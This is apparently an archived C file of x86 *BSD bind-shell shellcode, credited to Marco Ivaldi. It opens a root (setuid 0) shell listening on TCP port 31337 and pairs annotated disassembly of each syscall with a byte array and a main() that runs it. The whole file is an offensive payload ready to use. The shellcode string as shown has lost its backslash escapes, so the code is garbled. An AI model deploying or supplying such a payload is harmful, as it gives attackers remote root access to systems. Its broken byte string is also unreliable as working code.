/*
 * $Id: portbind-bsd.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * portbind-bsd.c - setuid/portbind shellcode for *BSD/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Simple portbind shellcode that bind()'s a setuid(0) shell on
 * port 31337/tcp (based on bighawk's code).
 *
 * Tested on OpenBSD and FreeBSD.
 */

/*
 * setuid(0)
 *
 * 20c8:       31 c0                   xor    %eax,%eax
 * 20ca:       50                      push   %eax
 * 20cb:       50                      push   %eax
 * 20cc:       b0 17                   mov    $0x17,%al
 * 20ce:       cd 80                   int    $0x80
 *
 * socket(AF_INET, SOCK_STREAM, 0)
 *
 * 20d0:       31 c9                   xor    %ecx,%ecx
 * 20d2:       f7 e1                   mul    %ecx,%eax
 * 20d4:       51                      push   %ecx
 * 20d5:       41                      inc    %ecx
 * 20d6:       51                      push   %ecx
 * 20d7:       41                      inc    %ecx
 * 20d8:       51                      push   %ecx
 * 20d9:       51                      push   %ecx
 * 20da:       b0 61                   mov    $0x61,%al
 * 20dc:       cd 80                   int    $0x80
 *
 * bind(s, server, sizeof(server))
 *
 * 20de:       89 c3                   mov    %eax,%ebx
 * 20e0:       52                      push   %edx
 * 20e1:       66 68 7a 69             pushw  $0x697a
 * 20e5:       66 51                   push   %cx
 * 20e7:       89 e6                   mov    %esp,%esi
 * 20e9:       b1 10                   mov    $0x10,%cl
 * 20eb:       51                      push   %ecx
 * 20ec:       56                      push   %esi
 * 20ed:       50                      push   %eax
 * 20ee:       50                      push   %eax
 * 20ef:       b0 68                   mov    $0x68,%al
 * 20f1:       cd 80                   int    $0x80
 *
 * listen(s, 1)
 *
 * 20f3:       51                      push   %ecx
 * 20f4:       53                      push   %ebx
 * 20f5:       53                      push   %ebx
 * 20f6:       b0 6a                   mov    $0x6a,%al
 * 20f8:       cd 80                   int    $0x80
 *
 * accept(s, 0, 0)
 *
 * 20fa:       52                      push   %edx
 * 20fb:       52                      push   %edx
 * 20fc:       53                      push   %ebx
 * 20fd:       53                      push   %ebx
 * 20fe:       b0 1e                   mov    $0x1e,%al
 * 2100:       cd 80                   int    $0x80
 *
 * dup2(c, 2)
 * dup2(c, 1)
 * dup2(c, 0)
 *
 * 2102:       b1 03                   mov    $0x3,%cl
 * 2104:       89 c3                   mov    %eax,%ebx
 * 2106:       b0 5a                   mov    $0x5a,%al
 * 2108:       49                      dec    %ecx
 * 2109:       51                      push   %ecx
 * 210a:       53                      push   %ebx
 * 210b:       53                      push   %ebx
 * 210c:       cd 80                   int    $0x80
 * 210e:       41                      inc    %ecx
 * 210f:       e2 f5                   loop   2106 <_sc+0x3e>
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 2111:       51                      push   %ecx
 * 2112:       68 2f 2f 73 68          push   $0x68732f2f
 * 2117:       68 2f 62 69 6e          push   $0x6e69622f
 * 211c:       89 e3                   mov    %esp,%ebx
 * 211e:       51                      push   %ecx
 * 211f:       54                      push   %esp
 * 2120:       53                      push   %ebx
 * 2121:       53                      push   %ebx
 * 2122:       b0 3b                   mov    $0x3b,%al
 * 2124:       cd 80                   int    $0x80
 */

char sc[] = /* 8 + 86 = 94 bytes */
"x31xc0x50x50xb0x17xcdx80"
"x31xc9xf7xe1x51x41x51x41x51x51xb0x61xcdx80"
"x89xc3x52x66x68"
"x7ax69" // port 31337/tcp, change if needed
"x66x51x89xe6xb1x10x51x56x50x50xb0x68xcdx80"
"x51x53x53xb0x6axcdx80"
"x52x52x53x53xb0x1excdx80"
"xb1x03x89xc3xb0x5ax49x51x53x53xcdx80"
"x41xe2xf5x51x68//shx68/binx89xe3x51x54x53x53xb0x3bxcdx80";

main()
{
	int (*f)() = (int (*)())sc; f();
}

// www.Syue.com [2006-07-20]